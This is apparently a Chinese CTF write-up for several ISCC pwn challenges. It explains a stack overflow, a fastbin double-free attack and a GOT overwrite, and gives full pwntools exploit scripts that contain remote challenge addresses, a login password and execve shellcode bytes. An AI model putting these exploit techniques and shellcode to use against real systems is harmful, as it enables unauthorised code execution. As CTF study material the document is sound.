漏洞位置:
漏洞见上图,BUF大小0x40 读取时读了0x280字节,这样可覆盖掉Menu函数的返回值。
此函数中存在一个可能执行system命令的地方。0x0040084A
利用思路:
1.Menu函数read时覆盖Menu的返回地址到0x0040084A。 选择选项为1
2.进入ExecCmd函数输入命令"/bin/sh"
3.回到Menu函数执行发送命令"3" 退出Menu函数。此时程序就会跳到0x40084A执行system("/bin/sh").
poc:
from pwn import *
import binascii
import time
g_local=False
#context.log_level='debug'
sh=0
if g_local:
sh=process("./pwn50")
else:
sh=remote("47.104.16.75",9000)
def login():
print sh.recvuntil(': ')
sh.sendline("admin")
print sh.recvuntil(': ')
sh.sendline("T6OBSh2i")
print sh.recvuntil(': ')
def test():
login()
#Overwrite the return address by system call
paload='1'*16*5+p64(0)+p64(0x40084A)
sh.sendline(paload)
print sh.recvuntil(': ')
#send "/bin/sh"
sh.sendline("/bin/sh")
print sh.recvuntil(': ')
#run system("/bin/sh")
sh.sendline("3")
sh.interactive()
成功执行:
漏洞位置:
free的时候,没有清空指针,可。。。。。。。。。
ISCC一上线,所有上网的人便都看着他笑,有的叫道,“ISCC,你又处新题了!”他不回答,对柜里说,“加两道web题,再来一个Reverse。”便排出九文大钱。他们又故意的高声嚷道,“你出的题又被秒了!”ISCC 睁大眼睛说,“你怎么这样凭空污人清白……”“什么清白?我前天亲眼见你PWN题目一上线,就被网友吊着打。”ISCC便涨红了脸,额上的青筋条条绽出,争辩道,“PWN题怎么秒杀……PWN!……程序猿的事,能算秒杀么?”接连便是难懂的话,什么“Double Free”,什么“Use after Free”之类,引得众人都哄笑起来:网内外充满了快活的空气。
没搞定。。。以后更新。
20180526更新,看了别人的writeup。https://www.colabug.com/2955477.html
原来伪造的堆块是直接放在got表中。
fastbin attack . 参考文章:
https://blog.csdn.net/qq_29343201/article/details/72627537
https://segmentfault.com/a/1190000005183474
再分配的时候只检查了size,也不要求对齐。
fastbin attack
基本信息
利用类型: 堆利用
堆利用类型: 针对fastbin的利用
利用思想: 利用fastbin的free只检查是否和上一个freechunk相等,使得同一个chunk两次进入free list,造成UAF,可以更改fastbin free chunk的fd信息,最终分配一个特定地址
利用难点
需要能够两次free同一个chunk
更改fd的时候,为了能够在之后的malloc之后返回这个值,需要通过一个check,会检查fd指向的这个位置的size(这个位置可以不用对齐),看是否属于正要malloc的这个bin的范围。
详细信息
fast bin的free检查了比较多的东西,所以这里就不再都贴出来了,其漏洞的主要原因在于fastbin
的实现其实是一个单链表实现的栈,后进先出,free的时候只检查了这个栈的栈顶,这样的话,
只要不是连续的free两次同一个chunk,就可以顺利的将一个chunk放进free list。之后的分配会使得
chunk虽然在free list里,但是也被分配了出来,这样就可以更改到fd指针,使其指向其他位置。
检查栈顶的代码如下:
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
需要注意的一点是,在分配的时候还有一个检查:
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
这个检查是指即将分配的这个chunk大小应该在其相应大小的idx上,比如size都为0x20大小的
fastbin,能够接受的值就是0x20-0x27范围,分配过去应该有这个范围的值(被当做size),
否则将会出现memory corruption。
所以利用的时候需要想办法找到一个相应的size,这个size其实是不需要对齐的,所以可以通过
错位的方式构造一个假的size值出来。找到相应的size就可以进行分配到相应位置了。
原来一直以为是要分配在栈上。
找到另外一份writeup,确实是分配在栈上的。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
import sys
elf = ELF("./pwn3")
context.log_level = "debug"
io = process("./pwn3")
libc = elf.libc
#raw_input("run ida......")
def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io, "b *0x400B26")
def add(idx, length, content):
io.sendline("1")
print io.recv(200)
io.sendline(str(idx))
print io.recv(200)
io.sendline(str(length))
print io.recv(200)
io.sendline(content)
print io.recv(200)
def delete(idx):
#io.sendlineafter("2 delete papern", "2")
#sleep(0.01)
#io.sendlineafter(":", str(idx))
#sleep(0.01)
io.sendline("2")
print io.recv(200)
io.sendline(str(idx))
print io.recv(200)
#伪造chunk在got表
def test1():
print io.recv(200)
print "xxxxxx"
fakeChunk = 0x602030+2
add(0, 0x30, '0000') #chunk0=0x1691010
add(1, 0x30, '1111') #chunk1=0x1691050
delete(0) # 0
delete(1) # 1 -> 0
1691010 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 ........A.......
1691020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691050 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 ........A.......
1691060 10 10 69 01 00 00 00 00 00 00 00 00 00 00 00 00 ..i.............
1691070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691090 00 00 00 00 00 00 00 00 71 0F 02 00 00 00 00 00 ........q.......
delete(0) # 0 -> 1 -> 0
1691010 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 ........A.......
1691020 50 10 69 10 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691050 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 ........A.......
1691060 10 10 69 01 00 00 00 00 00 00 00 00 00 00 00 00 ..i.............
1691070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691090 00 00 00 00 00 00 00 00 71 0F 02 00 00 00 00 00 ........q.......
# 0 -> 1 -> 0 -> fakeChunk 返回chunk0 的地址
add(0, 0x30, p64(fakeChunk)) # 1 -> 0 -> fakeChunk ptr=1691020
1691010 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 ........A.......
1691020 32 20 60 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
add(1, 0x30, '1111') # 0 -> fakeChunk ptr=1691060
add(2, 0x30, '2222') # fakeChunk ptr=1691020
1691010 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 ........A.......
1691020 32 32 32 32 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
1691040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
//值被改了但是fastbin中还保存者 0x602032
602032 40 00 00 00 00 00 56 07 40 00 00 00 00 00 1B 5F
602042 37 7F 00 00 40 C7 17 5F 37 7F 00 00 86 07 40 00
602052 00 00 00 00 C0 73 19 5F 37 7F 00 00 30 01 1E 5F
602062 37 7F 00 00 70 BE 1C 5F 37 7F 00 00 D0 74 1C 5F
602072 37 7F 00 00 D6 07 40 00 00 00 00 00 00 00 00 00
602082 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
602092 00 00 00 00 00 00 00 00 00 00 00 00
# payload = 'aaaaaaaabbbbbbbbccccccccdddddddd'
payload = p8(0) * (3 * 8 - 2) + p64(elf.sym['gg']) * 2
# DEBUG()
io.sendline("2")
add(3, 0x30, payload) #ptr=602042
got.plt:0000000000602018 off_602018 dq offset cfree ; DATA XREF: _free↑r
.got.plt:0000000000602020 off_602020 dq offset _IO_puts ; DATA XREF: _puts↑r
.got.plt:0000000000602028 off_602028 dq offset fread ; DATA XREF: _fread↑r
.got.plt:0000000000602030 off_602030 dq offset loc_400746 ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0000000000602038 off_602038 dq offset loc_400756 ; DATA XREF: _system↑r
.got.plt:0000000000602040 off_602040 dq 1800h ; DATA XREF: _printf↑r
.got.plt:0000000000602048 off_602048 dq 0 ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000602050 off_602050 dq 0 ; DATA XREF: ___gmon_start__↑r
.got.plt:0000000000602058 off_602058 dq offset gg ; DATA XREF: _strtol↑r
.got.plt:0000000000602060 off_602060 dq offset gg ; DATA XREF: _malloc↑r
.got.plt:0000000000602068 off_602068 dq offset unk_7F375F1CBE00 ; DATA XREF: _setvbuf↑r
.got.plt:0000000000602070 off_602070 dq offset __isoc99_scanf ; DATA XREF: ___isoc99_scanf↑r
.got.plt:0000000000602078 off_602078 dq offset loc_4007D6 ; DATA XREF: _exit↑r
.got.plt:0000000000602078 _got_plt ends
io.interactive()
#io.close()
# flag{ISCC_SoEasy}
#伪造chunk在栈上
def test2():
print io.recv(200)
#一次最多接收48个字符,一次性提交3组错的,第三次打印出来的是栈地址
io.sendline('a'*48*3)
data=io.recvuntil('\x7f')
stack=data[-6:]+'\x00\x00'
stack_addr=u64(stack)
print "stack addr:",hex(stack_addr)
add(5,32,"aaaa")
add(6,32,"aaaa")
delete(5)
delete(6)
delete(5)
#io.recv(200)
io.sendline("3")
io.recv(100)
io.sendline(str(49))
add(5,32,p64(stack_addr+96))
add(6,32,'a'*32)
add(6,32,'a'*32)
add(6,32,'a'*8+p64(0x400943))
io.sendline("6")
io.interactive()
test1()
https://ctf-wiki.github.io/ctf-wiki/pwn/heap/fastbin_attack/
漏洞位置:
第一个漏洞,buffer 48个字节,读了48字节,之后紧跟一个prinf。如果最后一字节不是\n的话,就不会变成0,这样打印的时候就会把后边的内容打印出来。紧跟着的就是rbp.
这个漏洞很明显buf空间只有56字节,然而读了0x40(64)字节,这样read的时候,如果传入64个字符就会把dest的值覆盖掉。
等strcpy时候就能任意地址写内容。
然而,发现了这些漏洞,缺依旧没有做出来,一直想着执行system("/bin/sh")拿shell.
然而找不到泄漏函数地址的地方,也没找到合适的执行的地方。。。
知道搜索了 pwn who are u 就找到了答案。
https://blog.csdn.net/qq_33528164/article/details/79681606
这题也是抄的,基本上没有变化。
按照题目中内容执行shellcode 就OK。
思路就是把free的函数地址改到shellcode的地方,然后执行shellcode .
1.who are u?时发送shellcode,根据泄漏的rbp地址计算shellcode地址。
2.利用strcpy 把free的函数地址改写到shellcode地址。
3.执行free。即执行shellcode.
from pwn import *
import binascii
import time
import struct
g_local=True
context.log_level='debug'
sh=0
free_got=0x602018
if g_local:
sh=process("./pwn200")
#elf = ELF('./pwn200')
#free_got = elf.got["free"]
#print_log("attch by ida.....")
raw_input("ida has attch? Press any key for continue...")
else:
sh=remote("47.104.16.75",8997)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
def test2():
print sh.recv(100)
sh.send(shellcode+'a'*(48-len(shellcode))) #发送shellcode
if not g_local:
print sh.recvuntil("\n")
str_recv=sh.recv(256)
print "return",str_recv,repr(str_recv)
str_stack=str_recv[48:48+6] #接收print 输出 获取rbp地址
print str_stack
str_stack+="\00\00"
ebp,=struct.unpack("Q",str_stack)
print "Stack address:%08x"%ebp
offset=0x50
shellcode_addr=ebp-offset
print "shellcode_addr = " + hex(shellcode_addr)
sh.sendline('0') #id
print sh.recvuntil('\n')
payload = p64(shellcode_addr)
#the juck data must be '\x00' in the got!
sh.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got)) #strcpy(free_got,payload)
sh.recvuntil('choice :')
sh.sendline('2')
sh.interactive()
test2()
执行过程:
printf 执行完,计算shellcode地址:
read前:
read之后:
dest变成602018:
执行strcpy,free_got变成shellcode地址。
接着执行free操作,进入shellcode执行。
成功获取到shell。
其他的shellcode http://www.bubuko.com/infodetail-640711.html.
方法2:
1.第一步,发送shellcode,利用printf漏洞得到栈地址。同上。
2.执行到函数400A92.
伪造一个chunk。
#32bytes padding +prev size +size +padding +fake_addr
data = p64(0) * 4 + p64(0) + p64(0x41) # no strcpy
data = data.ljust(56, '\x00') + p64(fake_addr)
print data
sh.send(data)
这些数据copy到0x7fff08521a00. dest设置为0x7fff08521a30.
位置0x7fff08521a20.为位置的chunk.
strcpy执行的时候,由于第一个字节为0,因此什么也没复制。 strcpy(0x7fff08521a30,0x7fff08521a00).
此时ptr中值为0x7fff08521a30。
接着执行free(ptr). 伪造chunk的地址会被加入fastbin中。
sh.recvuntil('choice : ')
sh.sendline('2') # free(fake_addr)
然后申请一个同样大小的空间。
sh.recvuntil('choice : ')
sh.sendline('1') #malloc(fake_addr) #fake_addr
sh.recvuntil('long?')
sh.sendline('48') # 48 + 16 = 64 = 0x40
sh.recvline('48') # ptr = malloc(48)
data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, '\x00')
malloc 返回地址0x7fff08521a30. 然后写入data,会把返回值地址改成shellcode地址。
from pwn import *
import binascii
import time
import struct
g_local=True
context.log_level='debug'
sh=0
free_got=0x602018
if g_local:
sh=process("./pwn200")
#elf = ELF('./pwn200')
#free_got = elf.got["free"]
#print_log("attch by ida.....")
raw_input("ida has attch? Press any key for continue...")
else:
sh=remote("47.104.16.75",8997)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
def test2():
print sh.recv(100)
sh.send(shellcode+'a'*(48-len(shellcode)))
if not g_local:
print sh.recvuntil("\n")
str_recv=sh.recv(256)
print "return",str_recv,repr(str_recv)
str_stack=str_recv[48:48+6]
print str_stack
str_stack+="\00\00"
ebp,=struct.unpack("Q",str_stack)
print "Stack address:%08x"%ebp
offset=0x50
shellcode_addr=ebp-offset
print "shellcode_addr = " + hex(shellcode_addr)
sh.sendline('0') #id
print sh.recvuntil('\n')
payload = p64(shellcode_addr)
#the juck data must be '\x00' in the got!
sh.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))
sh.recvuntil('choice :')
sh.sendline('2')
sh.interactive()
def test3():
print sh.recv(100)
sh.send(shellcode+'a'*(48-len(shellcode)))
if not g_local:
print sh.recvuntil("\n")
str_recv=sh.recv(256)
print "return",str_recv,repr(str_recv)
str_stack=str_recv[48:48+6]
print str_stack
str_stack+="\00\00"
ebp,=struct.unpack("Q",str_stack)
print "Stack address:%08x"%ebp
offset=0x50
shellcode_addr=ebp-offset
fake_addr=ebp-0x90
print "shellcode_addr = " + hex(shellcode_addr)
sh.sendline("32")
sh.recv(100)
#32bytes padding +prev size +size +padding +fake_addr
data = p64(0) * 4 + p64(0) + p64(0x41) # no strcpy
data = data.ljust(56, '\x00') + p64(fake_addr)
print data
sh.send(data)
sh.recvuntil('choice : ')
sh.sendline('2') # free(fake_addr)
sh.recvuntil('choice : ')
sh.sendline('1') #malloc(fake_addr) #fake_addr
sh.recvuntil('long?')
sh.sendline('48') # 48 + 16 = 64 = 0x40
sh.recvline('48') # ptr = malloc(48)
data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, '\x00')
sh.send(data)
sh.recvuntil('choice')
sh.sendline('3')
sh.interactive()
test3()